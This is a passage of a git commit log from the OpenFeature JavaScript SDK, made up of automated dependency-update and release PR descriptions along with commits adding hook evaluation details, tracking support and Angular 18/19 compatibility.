make autofixes safe

- **eslint-plugin:** \[member-ordering] also TSMethodSignature can be
get/set

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v7.18.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://redirect.github.com/eslint-community/regexpp)
to v4.11.0

-   **website:** react key error on internal pages of website

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **parser, typescript-estree:** export withoutProjectParserOptions
utility

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🩹 Fixes

-   **types:** correct typing ParserOptions

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled because a matching PR was automerged
previously.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzMuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEzMy4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-12-12 08:51:55 -05:00
Michael Beemer 2135254c4b
feat: add evaluation details to finally hook (#1087)
## This PR

- adds evaluation details to the `finally` stage in hooks.

### Notes

This breaks the signature of the `finally` stages based on [this spec
enhancement](https://github.com/open-feature/spec/pull/280). It is
**not** considered a breaking change to the SDK because hooks are marked
as experimental in the spec, and the change has no impact on known
hooks.

The noteworthy change to the interface is:

```diff
- finally?(hookContext: Readonly<HookContext<T>>, hookHints?: HookHints): HooksReturn;
+ finally?(hookContext: Readonly<HookContext<T>>, evaluationDetails: EvaluationDetails<T>, hookHints?: HookHints): HooksReturn;
```

### Follow-up Tasks

- Update the JS contribs repo

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-12 13:49:09 +00:00
Michael Beemer 5e5b160221
refactor: improve track interface for providers (#1100)
## This PR

- updates the context and trackingEventDetails on the tracking interface
to not be optional since they're always supplied by the SDK.

### Notes

This is a small QoL improvement for provider devs implementing the
tracking interface.

### How to test

The SDK still compiles, and the tests don't need to be modified.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-12-11 20:09:12 +00:00
Christian Llontop ba8d1aeec8
docs: fix comment in README for Hook’s after method (#1102)
## This PR

- Fixes incorrect comment in the README for the Hook implementation's
`after` method.

Signed-off-by: Christian Llontop <me@chrisllontop.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-12-10 14:13:53 -05:00
Michael Beemer 16321c31f2
refactor: export public option types (#1101)
## This PR

- renames the `shared` folder to `internal` to prevent accident exports
- export public option types

### Notes

This will make it easier for devs who need access to the option types.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-10 14:12:17 -05:00
Christian Llontop e3356157d5
docs: fix comment in README for Hook’s after method (#1103)
## This PR

- Fixes incorrect comment in the README for the Hook implementation's
`after` method.

Signed-off-by: Christian Llontop <me@chrisllontop.com>
2024-12-10 14:09:46 -05:00
renovate[bot] d09f5467ea
chore(deps): update dependency @types/uuid to v10 (#1061)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/uuid](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/uuid)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/uuid))
| [`^9.0.8` ->
`^10.0.0`](https://renovatebot.com/diffs/npm/@types%2fuuid/9.0.8/10.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fuuid/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fuuid/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fuuid/9.0.8/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fuuid/9.0.8/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEzNS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-12-09 09:11:20 -05:00
OpenFeature Bot 3c9f2c6e36
chore(main): release react-sdk 0.4.9 (#1076)
🤖 I have created a release *beep* *boop*
---


##
[0.4.9](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.8...react-sdk-v0.4.9)
(2024-12-04)


###  New Features

* re-render if flagsChanged is falsy
([#1095](https://github.com/open-feature/js-sdk/issues/1095))
([78516f4](78516f4181))


### 📚 Documentation

* fix typos, links, and format
([#1075](https://github.com/open-feature/js-sdk/issues/1075))
([418409e](418409e3fa))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-12-04 13:36:51 -05:00
Todd Baert 78516f4181
feat: re-render if flagsChanged is falsy (#1095)
Adds an improvement to the React SDK which supports re-renders if the
[flags
changed](https://open-feature.github.io/js-sdk/types/_openfeature_server_sdk.ConfigChangeEvent.html)
array from a provider event is falsy.

Since some providers have no knowledge of flags which are changed, this
allows them to support dynamic re-rendering by not defining this
property. If the prop is null/undefined, we diff all flags... If the
property is explicitly set to an empty array, that means no flags have
changed and the React SDK skips all diff checks.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-12-04 18:31:56 +00:00
OpenFeature Bot 5ece80e16a
chore(main): release angular-sdk 0.0.9-experimental (#1094)
🤖 I have created a release *beep* *boop*
---


##
[0.0.9-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.8-experimental...angular-sdk-v0.0.9-experimental)
(2024-11-21)


### 🧹 Chore

* **angular:** add repository to package.json
([#1093](https://github.com/open-feature/js-sdk/issues/1093))
([35f000e](35f000e0f3))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-11-21 21:24:23 +01:00
Lukas Reining 35f000e0f3
chore(angular): add repository to package.json (#1093)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds this new feature

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #1234523

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->

### How to test
<!-- if applicable, add testing instructions under this section -->

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-11-21 21:23:19 +01:00
OpenFeature Bot d521f2dd6e
chore(main): release angular-sdk 0.0.8-experimental (#1092)
🤖 I have created a release *beep* *boop*
---


##
[0.0.8-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.7-experimental...angular-sdk-v0.0.8-experimental)
(2024-11-21)


###  New Features

* Angular SDK
([#997](https://github.com/open-feature/js-sdk/issues/997))
([105fd95](105fd95e34))
* **angular:** add Angular 18 support
([#1063](https://github.com/open-feature/js-sdk/issues/1063))
([e62d6d4](e62d6d4b7e))
* **angular:** add angular 19 to peerDependencies
([4893d6f](4893d6f000))


### 🐛 Bug Fixes

* **angular:** add package description
([#1026](https://github.com/open-feature/js-sdk/issues/1026))
([dc63ca8](dc63ca8b9d))
* **angular:** fix race condition on initialization
([#1052](https://github.com/open-feature/js-sdk/issues/1052))
([12eaa97](12eaa9758d))
* copy license to package correctly
([#1011](https://github.com/open-feature/js-sdk/issues/1011))
([458d278](458d278345))
* fix release of angular sdk
([4a370cc](4a370cc73f))


### 🧹 Chore

* add npm keywords for angular
([#1015](https://github.com/open-feature/js-sdk/issues/1015))
([6b11165](6b11165aa1))
* **main:** release angular-sdk 0.0.1-experimental
([#1003](https://github.com/open-feature/js-sdk/issues/1003))
([ed3aaa4](ed3aaa48c0))
* **main:** release angular-sdk 0.0.1-experimental
([#1010](https://github.com/open-feature/js-sdk/issues/1010))
([eb42c4c](eb42c4c9e6))
* **main:** release angular-sdk 0.0.2-experimental
([#1008](https://github.com/open-feature/js-sdk/issues/1008))
([f74056c](f74056c02b))
* **main:** release angular-sdk 0.0.2-experimental
([#1012](https://github.com/open-feature/js-sdk/issues/1012))
([8bdc164](8bdc16430c))
* **main:** release angular-sdk 0.0.3-experimental
([#1014](https://github.com/open-feature/js-sdk/issues/1014))
([baec2fb](baec2fb350))
* **main:** release angular-sdk 0.0.4-experimental
([#1027](https://github.com/open-feature/js-sdk/issues/1027))
([c1374bb](c1374bb7b3))
* **main:** release angular-sdk 0.0.5-experimental
([#1053](https://github.com/open-feature/js-sdk/issues/1053))
([5636983](56369839b6))
* **main:** release angular-sdk 0.0.6-experimental
([#1064](https://github.com/open-feature/js-sdk/issues/1064))
([7f9001e](7f9001ec0a))
* **main:** release angular-sdk 0.0.7-experimental
([#1088](https://github.com/open-feature/js-sdk/issues/1088))
([6016465](6016465f9a))
* **main:** release angular-sdk 0.0.7-experimental
([#1091](https://github.com/open-feature/js-sdk/issues/1091))
([2a21f4f](2a21f4fd60))


### 📚 Documentation

* **angular:** improve angular readme layout
([#1013](https://github.com/open-feature/js-sdk/issues/1013))
([ee52da9](ee52da9a01))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-11-21 21:15:34 +01:00
OpenFeature Bot 2a21f4fd60
chore(main): release angular-sdk 0.0.7-experimental (#1091)
rereleases angular 0.0.7

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-11-21 21:11:05 +01:00
Michael Beemer 39da1a9ba1
ci: add id token write permissions (#1090)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-11-21 14:16:19 -05:00
OpenFeature Bot 6016465f9a
chore(main): release angular-sdk 0.0.7-experimental (#1088)
🤖 I have created a release *beep* *boop*
---


##
[0.0.7-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.6-experimental...angular-sdk-v0.0.7-experimental)
(2024-11-21)


###  New Features

* **angular:** add angular 19 to peerDependencies
([4893d6f](4893d6f000))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-11-21 18:17:05 +01:00
Lukas Reining 4893d6f000 feat(angular): add angular 19 to peerDependencies
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-11-21 18:14:28 +01:00
Lukas Reining 21f53ef956
feat(angular): add angular 19 support (#1084) 2024-11-21 17:35:51 +01:00
Michael Beemer c97d6d1794
ci: add provenance statement to released artifacts (#1081)
## This PR

- add provenance statement to released artifacts 

### Notes

Snippet from the NPM docs:

> You can generate provenance statements for the packages you publish.
This allows you to publicly establish where a package was built and who
published a package, which can increase supply-chain security for your
packages.

It also adds a cool badge in NPM 😎 

### Resources

-
https://docs.npmjs.com/generating-provenance-statements#example-github-actions-workflow

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-11-20 14:36:08 -05:00
OpenFeature Bot 1ba149d8e5
chore(main): release server-sdk 1.16.2 (#1079)
🤖 I have created a release *beep* *boop*
---


##
[1.16.2](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.1...server-sdk-v1.16.2)
(2024-11-07)


### 🧹 Chore

* loosen peer dependency requirements, remove some ci automation
([#1080](https://github.com/open-feature/js-sdk/issues/1080))
([ef3ba21](ef3ba2167a))


### 🚀 Performance

* avoid using exceptions for flow control
([#1074](https://github.com/open-feature/js-sdk/issues/1074))
([26264d6](26264d6d09))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-11-07 12:16:03 -05:00
OpenFeature Bot 6f1c0b33ec
chore(main): release web-sdk 1.3.2 (#1078)
🤖 I have created a release *beep* *boop*
---


##
[1.3.2](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.3.1...web-sdk-v1.3.2)
(2024-11-07)


### 🐛 Bug Fixes

* update OpenFeature core version to 1.5.0
([#1077](https://github.com/open-feature/js-sdk/issues/1077))
([a3469b6](a3469b6799))


### 🧹 Chore

* loosen peer dependency requirements, remove some ci automation
([#1080](https://github.com/open-feature/js-sdk/issues/1080))
([ef3ba21](ef3ba2167a))


### 🚀 Performance

* avoid using exceptions for flow control
([#1074](https://github.com/open-feature/js-sdk/issues/1074))
([26264d6](26264d6d09))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-11-07 12:09:48 -05:00
Todd Baert ef3ba2167a
chore: loosen peer dependency requirements, remove some ci automation (#1080)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-11-07 12:04:41 -05:00
Michael Beemer a3469b6799
fix: update OpenFeature core version to 1.5.0 (#1077)
## This PR

- bumps OpenFeature core version to match the current release

### Notes

This should have been automatically by the CI but it didn't work for
some reason. I'll look into why after the issue is resolved.


fe3ad8eeb9 (diff-e35631c960979816b4b2bda7950788e968930fcaf2cf39b482ff23117cd13888R50)

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-11-07 08:34:36 -05:00
Michael Beemer 26264d6d09
perf: avoid using exceptions for flow control (#1074)
## This PR

- avoids using error codes as flow control during an evaluation

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-11-06 21:50:01 +00:00
Michael Beemer 418409e3fa
docs: fix typos, links, and format (#1075)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-11-05 13:06:41 -05:00
OpenFeature Bot 57ec47bb21
chore(main): release react-sdk 0.4.8 (#1071)
🤖 I have created a release *beep* *boop*
---


##
[0.4.8](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.7...react-sdk-v0.4.8)
(2024-10-29)


### 🧹 Chore

* bump minimum web peer
([#1072](https://github.com/open-feature/js-sdk/issues/1072))
([eca8205](eca8205da7))


### 📚 Documentation

* add tracking sections
([#1068](https://github.com/open-feature/js-sdk/issues/1068))
([e131faf](e131faffad))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-10-29 14:08:09 -04:00
Todd Baert eca8205da7
chore: bump minimum web peer (#1072)
- require web 1.3.0+ for tracking

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-29 18:03:30 +00:00
OpenFeature Bot b257cb41b9
chore(main): release web-sdk 1.3.1 (#1069)
🤖 I have created a release *beep* *boop*
---


##
[1.3.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.3.0...web-sdk-v1.3.1)
(2024-10-29)


### 📚 Documentation

* add tracking sections
([#1068](https://github.com/open-feature/js-sdk/issues/1068))
([e131faf](e131faffad))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-29 13:18:33 -04:00
OpenFeature Bot 0cc2590d02
chore(main): release server-sdk 1.16.1 (#1070)
🤖 I have created a release *beep* *boop*
---


##
[1.16.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.0...server-sdk-v1.16.1)
(2024-10-29)


### 📚 Documentation

* add tracking sections
([#1068](https://github.com/open-feature/js-sdk/issues/1068))
([e131faf](e131faffad))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-10-29 13:15:42 -04:00
Todd Baert e131faffad
docs: add tracking sections (#1068)
- adds tracking to all relevant READMEs

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-29 13:12:55 -04:00
OpenFeature Bot 62f7668959
chore(main): release nestjs-sdk 0.2.2 (#1041)
🤖 I have created a release *beep* *boop*
---


##
[0.2.2](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.1-experimental...nestjs-sdk-v0.2.2)
(2024-10-29)


### 🧹 Chore

* import type lint rule and fixes
([#1039](https://github.com/open-feature/js-sdk/issues/1039))
([01fcb93](01fcb933d2))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-10-29 16:00:44 +00:00
OpenFeature Bot 278cf3fe70
chore(main): release server-sdk 1.16.0 (#1042)
🤖 I have created a release *beep* *boop*
---


##
[1.16.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.15.1...server-sdk-v1.16.0)
(2024-10-29)


###  New Features

* implement tracking as per spec
([#1020](https://github.com/open-feature/js-sdk/issues/1020))
([80f182e](80f182e1af))


### 🧹 Chore

* import type lint rule and fixes
([#1039](https://github.com/open-feature/js-sdk/issues/1039))
([01fcb93](01fcb933d2))
* **main:** release core 1.5.0
([#1040](https://github.com/open-feature/js-sdk/issues/1040))
([fe3ad8e](fe3ad8eeb9))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-29 11:55:57 -04:00
OpenFeature Bot 21212cdde0
chore(main): release react-sdk 0.4.7 (#1028)
🤖 I have created a release *beep* *boop*
---


##
[0.4.7](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.6...react-sdk-v0.4.7)
(2024-10-29)


###  New Features

* avoid re-resolving flags unaffected by a change event
([#1024](https://github.com/open-feature/js-sdk/issues/1024))
([b8f9b4e](b8f9b4ebaf))
* implement tracking as per spec
([#1020](https://github.com/open-feature/js-sdk/issues/1020))
([80f182e](80f182e1af))
* use mutate context hook
([#1031](https://github.com/open-feature/js-sdk/issues/1031))
([ec3d967](ec3d967f8b))


### 🧹 Chore

* add js docs for context mutator hook
([#1045](https://github.com/open-feature/js-sdk/issues/1045))
([def3fe8](def3fe8daf))
* import type lint rule and fixes
([#1039](https://github.com/open-feature/js-sdk/issues/1039))
([01fcb93](01fcb933d2))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-10-29 11:41:12 -04:00
OpenFeature Bot 5ce2106e15
chore(main): release web-sdk 1.3.0 (#1038)
🤖 I have created a release *beep* *boop*
---


##
[1.3.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.4...web-sdk-v1.3.0)
(2024-10-29)


###  New Features

* implement tracking as per spec
([#1020](https://github.com/open-feature/js-sdk/issues/1020))
([80f182e](80f182e1af))


### 🧹 Chore

* import type lint rule and fixes
([#1039](https://github.com/open-feature/js-sdk/issues/1039))
([01fcb93](01fcb933d2))
* **main:** release core 1.5.0
([#1040](https://github.com/open-feature/js-sdk/issues/1040))
([fe3ad8e](fe3ad8eeb9))


### 📚 Documentation

* update domain context terminology
([#1037](https://github.com/open-feature/js-sdk/issues/1037))
([924802b](924802b21d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-10-29 11:36:41 -04:00
OpenFeature Bot fe3ad8eeb9
chore(main): release core 1.5.0 (#1040)
🤖 I have created a release *beep* *boop*
---


##
[1.5.0](https://github.com/open-feature/js-sdk/compare/core-v1.4.0...core-v1.5.0)
(2024-10-29)


###  New Features

* implement tracking as per spec
([#1020](https://github.com/open-feature/js-sdk/issues/1020))
([80f182e](80f182e1af))


### 🧹 Chore

* import type lint rule and fixes
([#1039](https://github.com/open-feature/js-sdk/issues/1039))
([01fcb93](01fcb933d2))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-10-29 15:24:16 +00:00
Todd Baert 80f182e1af
feat: implement tracking as per spec (#1020)
📣 This was a draft for a while, but is now ready for review! 📣

This implements tracking as per spec, in the server, web, and react
SDKs.
I don't think the Angular or Nest SDKs need specific implementations,
but please advise (cc @luizgribeiro @lukas-reining).

Fixes: https://github.com/open-feature/js-sdk/issues/1033
Fixes: https://github.com/open-feature/js-sdk/issues/1034

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-29 13:46:08 +00:00
OpenFeature Bot 7f9001ec0a
chore(main): release angular-sdk 0.0.6-experimental (#1064)
🤖 I have created a release *beep* *boop*
---


##
[0.0.6-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.5-experimental...angular-sdk-v0.0.6-experimental)
(2024-10-28)


###  New Features

* **angular:** add Angular 18 support
([#1063](https://github.com/open-feature/js-sdk/issues/1063))
([e62d6d4](e62d6d4b7e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-10-28 17:50:22 +01:00
Lukas Reining e62d6d4b7e
feat(angular): add Angular 18 support (#1063)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- allows Angular 18 peer dependency

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-10-28 17:06:32 +01:00
renovate[bot] c15b7e521f
chore(deps): update dependency typedoc to ^0.26.0 (#992)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
